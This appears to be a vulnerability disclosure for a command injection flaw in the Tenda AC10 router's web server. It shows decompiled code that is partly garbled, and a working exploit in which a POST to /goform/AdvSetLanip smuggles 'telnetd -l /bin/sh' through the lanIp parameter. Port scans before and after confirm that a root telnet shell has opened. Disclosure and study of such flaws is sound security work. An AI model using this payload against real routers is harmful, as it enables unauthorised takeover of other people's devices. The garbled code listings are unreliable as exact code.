

Tenda AC10 has a remote code execution vulnerability. Attackers can inject evil command into parameter lanIp which will be passed as a part of an argument to doSystemCmd and execute arbitrary commands to control the Router.

Vulnerability details

The vulnerability is detected at /bin/httpd.

In the TendaTelnet function, the function called <code>GetValue</code> gets the value of the key <code>lan.ip</code> and then stores it to a local variable called <code>lan_ip</code>. Then, the variable <code>lan_ip</code> and the string <code>telnetd -b</code> %s & is passed as an argument to <code>doSystemCmd</code>.

```
1 void __cdecl TendaTelnet(webs_t wp, char_t *path, char_t *query)
 2 {
 3
    char parm[256]; // [sp+18h] [+18h] BYREF
 4
    char lan_ip[32]; // [sp+118h] [+118h] BYREF
 5
    memset(parm, 0, sizeof(parm));
 6
    memset(lan ip, 0, sizeof(lan ip));
 7
 8
    GetValue("lan.ip", lan_ip);
 9
    system("killall -9 telnetd");
    doSystemCmd("telnetd -b %s &", lan_ip);
10
    sprint+(parm, "op=%d,wl_rate=%d,index=1", 14, 24);
11
     send_msg_to_netctrl(19, parm);
12
    websWrite(wp, "load telnetd success.");
13
    websDone(wp, 200);
14
```

We found that we can set the value of the key lan.ip by calling function fromAdvSetLanip. The variable lan_ip here is got from parameter lanIp sent by POST request and it will be set as the value of the key lan.ip with function SetValue.

```
GetValue("lan.mask". oldmask):
lan_ip = websGetVar(wp, "lanIp", "192.168.0.1");
lan_mask = websGetVar(wp, "lanMask", "255.255.255.0");
memset(cgi_debug, 0, sizeof(cgi_debug));
if ( GetValue("cgi_debug", cgi_debug) && !strcmp("on", cgi_debug) )
  printf(
    "%s[%s:%s:%d] %sget lan_ip == %s, lan_mask == %s\n\x1B[0m",
    debug_color[3],
    "cgi",
    "fromAdvSetLanip",
    191,
    debug_color[1],
    lan ip,
    lan mask);
if (!strcmp(lan_ip, "undefined"))
  lan_ip = "192.168.0.1";
memset(cgi_debug_0, 0, sizeof(cgi_debug_0));
if ( GetValue("cgi_debug", cgi_debug_0) && !strcmp("on", cgi_debug_0) )
  printf(
    "%s[%s:%s:%d] %sset lan_ip == %s\n\x1B[0m",
    debug_color[3],
    "cgi",
    "fromAdvSetLanip",
    197,
    debug_color[1],
    lan in).
SetValue("lan.ip", lan_ip);
it ( !strcmp(lan_mask, "undefined") )
```

Above all, attackers can inject evil command into parameter <code>lanIp</code> which will be passed as a part of an argument to <code>doSystemCmd</code> and execute arbitrary commands to control the Router.

Exploit vulnerability

Scan ports before exploit the vulnerability.

```
$ nmap 192.168.0.1
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-26 17:05 CST
Nmap scan report for 192.168.0.1
Host is up (0.012s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE
80/tcp open http
5500/tcp open hotline
9000/tcp open cslistener
10004/tcp open emcrmirccd
```

We use HackBar to send data lanIp=192.168.0.1;telnetd -1 /bin/sh; by POST request to the URL http://192.168.0.1/goform/AdvSetLanip.



Then, we scan ports again and dectect that the port 23 which represents Telnet service has been opened.

```
$ nmap 192.168.0.1
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-26 17:05 CST
Nmap scan report for 192.168.0.1
Host is up (0.0055s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
10004/tcp open emcrmirccd
```

We telnet into the router through port 23 and control it successfully.